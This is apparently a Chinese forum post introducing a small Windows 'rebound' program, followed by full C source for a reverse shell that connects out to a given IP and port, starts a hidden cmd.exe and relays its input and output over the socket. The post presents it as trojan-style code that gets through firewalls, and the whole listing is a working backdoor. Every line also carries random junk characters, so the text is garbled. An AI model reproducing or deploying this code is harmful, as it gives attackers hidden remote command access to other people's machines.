这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'J(rIH3U
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/* ============================== ]hY'A>4Uq
Rebound port in Windows NT ?;NC(Z,
By wind,2006/7 9UlR fl
===============================*/ G3O`r8oZcJ
#include Gs^hqT;h
#include Wj0=cIb
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#pragma comment(lib,"wsock32.lib") Cx(|ZD^
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void OutputShell(); B3 f Kb#T
SOCKET sClient; !DgN@P.o
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o%dKi]
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void main(int argc,char **argv) #6O<!{PH6
{ 1#rcxUSi
WSADATA stWsaData; .bcoH
int nRet; Y*0 AS|r!
SOCKADDR_IN stSaiClient,stSaiServer; t"[x x_i
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if(argc != 3) dqd:V$o
{ m$b5Vqq
printf("Useage:\n\rRebound DestIP DestPort\n"); LLp/ SWe
return; /[
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} ]o}g~Xn
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WSAStartup(MAKEWORD(2,2),&stWsaData); hKa<9>MI`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^5j+O.zgN
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stSaiClient.sin_family = AF_INET; CJ+/j=i;~c
stSaiClient.sin_port = htons(0); iZsZSW \
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 39
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5P=3.Mk
{ LIzdP,^pc
printf("Bind Socket Failed!\n"); @ol}~&"
return; ?#N:
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} P`ZzrN
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stSaiServer.sin_family = AF_INET; 1<gY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U$zd3a_(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); er<yB#/;-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n=t50/jV3=
{ q [}<LU
printf("Connect Error!"); S5o\joc
return; eBUexxBY
} rw:z|-r
OutputShell(); ^qB
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} clhmpu
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void OutputShell() dJYsn+
{ l', +l{\Z
char szBuff[1024]; :#_Ne?\a@
SECURITY_ATTRIBUTES stSecurityAttributes; j!1
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OSVERSIONINFO stOsversionInfo; S($8_u$U
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AvP$>Alc
STARTUPINFO stStartupInfo; 3C[#_&_l
char *szShell; f\p#3IwwH
PROCESS_INFORMATION stProcessInformation; }%^N9AA8
unsigned long lBytesRead; dWc'R wL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .wH`9aq;5@
stSecurityAttributes.lpSecurityDescriptor = 0; <'y}y}%
stSecurityAttributes.bInheritHandle = TRUE; G_ -8*.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]1Wh3C
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w.7pD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -BV8,1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v3p'*81;
stStartupInfo.wShowWindow = SW_HIDE; ?/@U#Qy
stStartupInfo.hStdInput = hReadPipe; rXh*nC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r`dQ<U,
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GetVersionEx(&stOsversionInfo); [I~&vLTe
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switch(stOsversionInfo.dwPlatformId) {l0[`"EF
{ :P'M|U
case 1: Z]~) ->=}
szShell = "command.com"; b((>?=hh
break; Jn :h;|9w
default: S4ys)!V1V
szShell = "cmd.exe"; =Ch^;Wyt
break; |Eyn0\OA
} uM"_3je{W2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &~Hx!]uc
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send(sClient,szMsg,77,0); !"d"3coQ?
while(1) SH1S_EQ<
{ FF5|qCV/z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IGnP#@`5]
if(lBytesRead) m;4qs#qCg?
{ n^lr7(!6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); luWr.<1
send(sClient,szBuff,lBytesRead,0); 1m~-q4D)V
} W9D~:>^YP
else <5 )F9.$
{ {D$5M/$
lBytesRead=recv(sClient,szBuff,1024,0); /:Q
if(lBytesRead<=0) break; <jAn~=Uq[,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Of}dsav
} mu*RXLai
} jk\z-hd
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return; fxQ4kiI
}